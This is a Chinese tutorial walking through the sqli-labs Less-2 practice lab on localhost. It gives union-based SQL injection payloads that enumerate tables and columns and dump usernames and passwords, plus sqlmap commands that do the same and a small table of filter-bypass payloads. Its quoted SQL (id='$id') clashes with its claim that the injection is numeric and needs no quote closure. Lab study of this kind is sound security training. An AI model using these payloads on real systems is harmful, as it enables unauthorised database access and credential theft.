sqli-labs:Less-2关卡详细解析

发布于:2025-08-01 ⋅ 阅读:(25) ⋅ 点赞:(0)

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:数值型
  • 提示:参数id无需考虑闭合问题,相对简单

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-2/,只需要将下面的sql语句粘贴即可。

2.1. 正常请求⚡

?id=1

在这里插入图片描述

说明:测试回显情况


2.2. 判断字段数⚡

?id=1 order by 4
  • order by 4:探测字段数(报错说明字段数=3)

在这里插入图片描述
本关卡在sql语句后是不需要加--+注释符,是否加--+注释符详细如下:

2.2.1. 必须使用--+的情况
场景特征 示例 必要性分析
URL参数注入 ?id=1'--+ URL中的空格会被编码,+确保注释生效
闭合单引号 admin'--+ 避免后续SQL语法错误
过滤空格环境 1'/**/OR/**/1=1--+ WAF可能过滤空格但允许+
2.2.2. 可不使用的情况
场景特征 示例 原因分析
数字型注入 ?id=1 OR 1=1 无需闭合引号
报错注入 ?id=1 AND updatexml(1,concat(0x7e,(SELECT@@version)),1) 语句自包含无需截断
POST表单注入 username=admin'-- 表单数据不涉及URL编码

2.3. 确定回显位⚡

?id=-1 union select 1,2,3
  • -1:使前查询无结果
  • union select:联合查询回显位

在这里插入图片描述


2.4. 获取基础信息⚡

?id=-1 union select 1,database(),user()

在这里插入图片描述


2.5. 获取表名⚡

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'

在这里插入图片描述


2.6. 获取字段⚡

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'

在这里插入图片描述


2.7. 获取数据⚡

?id=-1 union select 1,group_concat(username),group_concat(password) from users

在这里插入图片描述


2.8. 参数汇总表⭐

参数 作用 示例
order by 判断字段数 order by 4
union select 联合查询 union select 1,2,3
group_concat() 合并结果 group_concat(table_name)
information_schema 系统数据库 from information_schema.tables
table_schema 数据库名称 table_schema='security'
table_name 数据表名称 table_name='users'
column_name 字段名称 group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,后面一定要加上id=1,比如:http://localhost:8081/Less-2/?id=1

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-2/?id=1" --batch

# 爆数据库
python sqlmap.py -u "url" --dbs --batch

# 爆表名
python sqlmap.py -u "url" -D security --tables --batch

# 爆列名
python sqlmap.py -u "url" -D security -T users --columns --batch

# 爆数据
python sqlmap.py -u "url" -D security -T users -C id,username,password --dump --batch

命令1截图:
!https://via.placeholder.com/600x300?text=SQLMap截图
命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数 功能
--batch 非交互模式
--dbs 枚举数据库
-D 指定数据库
-T 指定表
-C 指定列
--dump 导出数据

4. 总结🏁

如有不懂,关卡1的解析更为详细,相信你会有收获,sqli-labs:Less-1关卡详细解析:https://blog.csdn.net/qq_62000508/article/details/149773926?spm=1011.2124.3001.6209

  1. 注入类型:数值型
  2. 核心步骤:判字段→找回显→爆库→爆表→爆数据
  3. 工具对比:手工注入适合学习原理,SQLMap适合快速验证

声明:本文仅用于安全学习,严禁非法测试! ❗❗❗


网站公告

今日签到

点亮在社区的每一天
去签到